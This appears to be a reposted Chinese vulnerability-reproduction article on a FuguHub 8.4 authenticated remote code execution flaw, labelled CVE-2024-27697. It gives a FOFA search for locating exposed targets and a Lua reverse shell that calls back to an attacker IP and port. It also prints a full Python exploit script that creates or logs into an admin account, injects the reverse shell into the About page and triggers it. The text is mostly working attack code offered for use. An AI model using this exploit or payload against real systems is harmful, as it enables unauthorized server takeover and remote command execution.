免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。
漏洞描述
FuguHub 8.4 Authenticated RCE,about页面是一个可编辑的lua页面,其内容可以通过Administrator面板更改。该漏洞将一个用lua编写的反向shell插入到"关于"页面中,该页面对登录和注销用户都是可见的。
资产测绘
FOFA:"FuguHub"
漏洞复现
环境安装:
wget FuguHub.com/install/FuguHub.linux.install
chmod +x FuguHub.linux.install
sudo ./FuguHub.linux.install
about页面是一个可编辑的lua页面,其内容可以通过Administrator面板更改。该漏洞将一个用lua编写的反向shell插入到“关于”页面中,该页面对登录和注销用户都是可见的
http://127.0.0.1/rtl/protected/admin/customize.lsp这个url允许用户编辑关于页面,可以看到有一个lua代码部分,可以注入代码。
<?lsp if request:method() == "GET" then ?> <?lsp local host, port = "192.168.0.107", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") local connection, err = tcp:connect(host, port) if not connection then print("Error connecting: " .. err) return end while true do local cmd, status, partial = tcp:receive() if status == "closed" or status == "timeout" then break end if cmd then local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) end end tcp:close() ?> <?lsp else ?> Wrong request method, goodBye! <?lsp end ?>
CVE-2023-24078,该漏洞是FuguHub上一个文件上传漏洞,具有自动登录/帐户创建功能。使用了这个漏洞的身份验证部分。然后添加了一些代码,这些代码利用了在自定义中发现的插入点,lsp页面。
下面脚本是使用
import requests from bs4 import BeautifulSoup import argparse from colorama import Fore, init # Initialize Colorama init(autoreset=True) # Suppress InsecureRequestWarning requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) # User-defined settings username = 'admin' password = 'password' email = '[email protected]' # Command line arguments setup parser = argparse.ArgumentParser(description="Exploit script to create an admin user and execute a reverse shell.") parser.add_argument("-r", "--rhost", help="Victim's IP/URL (omit the http://)", required=True) parser.add_argument("-rp", "--rport", help="HTTP port [Default: 80]", default="80") parser.add_argument("-l", "--lhost", help="Your IP for the reverse shell", required=True) parser.add_argument("-p", "--lport", help="Port for your reverse shell listener", required=True) args = parser.parse_args() # Global variables BASE_URL = f"http://{args.rhost}:{args.rport}" def check_account(session): """Check if an admin account exists and act accordingly.""" print(f"{Fore.YELLOW}[*] {Fore.WHITE}Checking for admin user...") r = session.get(f"{BASE_URL}/Config-Wizard/wizard/SetAdmin.lsp") if r.status_code == 404: print(f"{Fore.RED}[!] {Fore.WHITE}Page not found! Check the target IP and port.") exit(0) soup = BeautifulSoup(r.content, 'html.parser') search = soup.find('h1') user_exists = 'User database already saved' in search.text if search else False if user_exists: print(f"{Fore.GREEN}[+] {Fore.WHITE}An admin user exists..") login(session) else: print(f"{Fore.GREEN}[+] {Fore.WHITE}No admin user exists yet, creating account with {username}:{password}") create_user(session) login(session) def create_user(session): """Create a new user with predefined credentials.""" data = { 'email': email, 'user': username, 'password': password, 'recoverpassword': 'on' } r = session.post(f"{BASE_URL}/Config-Wizard/wizard/SetAdmin.lsp", data=data) if r.status_code == 200: print(f"{Fore.GREEN}[+] {Fore.WHITE}User created!") else: print(f"{Fore.RED}[!] {Fore.WHITE}Failed to create user.") def login(session): """Log in with the predefined user credentials.""" print(f"{Fore.GREEN}[+] {Fore.WHITE}Logging in...") data = {'ba_username': username, 'ba_password': password} r = session.post(f"{BASE_URL}/rtl/protected/wfslinks.lsp", data=data, verify=False) if 'Web-File-Server' in r.text: print(f"{Fore.GREEN}[+] {Fore.WHITE}Success! Injecting the reverse shell...") exploit(session) else: print(f"{Fore.RED}[!] {Fore.WHITE}Error! Login failed.") exit(0) def exploit(session): """Inject and trigger the reverse shell.""" customize_page_url = f"{BASE_URL}/rtl/protected/admin/customize.lsp" payload = f''' <?lsp local host, port = "{args.lhost}", {args.lport} local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close() ?> <h1>REVERSE SHELL EXECUTED CHECK LISTENER</h1>''' data = {'about': payload, 'setabout': 'Set Custom About Page'} r = session.post(customize_page_url, data=data) if r.status_code == 200 and "Set Custom About Page" in r.text: print(f"{Fore.GREEN}[+] {Fore.WHITE}Successfully injected the reverse shell into the About page.") else: print(f"{Fore.RED}[!] {Fore.WHITE}Failed to inject the reverse shell.") exit(0) # Trigger the reverse shell about_page_url = f"{BASE_URL}/rtl/about.lsp" print(f"{Fore.GREEN}[+] {Fore.WHITE}Triggering the reverse shell, check your listener...") session.get(about_page_url) def main(): with requests.Session() as session: check_account(session) if __name__ == '__main__': try: main() except Exception as e: print(f"\n{Fore.YELLOW}[*] {Fore.WHITE}An error occurred: {e}")
usage: exploit.py [-h] -r RHOST [-rp RPORT] -l LHOST -p LPORT
原文始发于微信公众号(漏洞文库):【漏洞复现】CVE-2024-27697
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论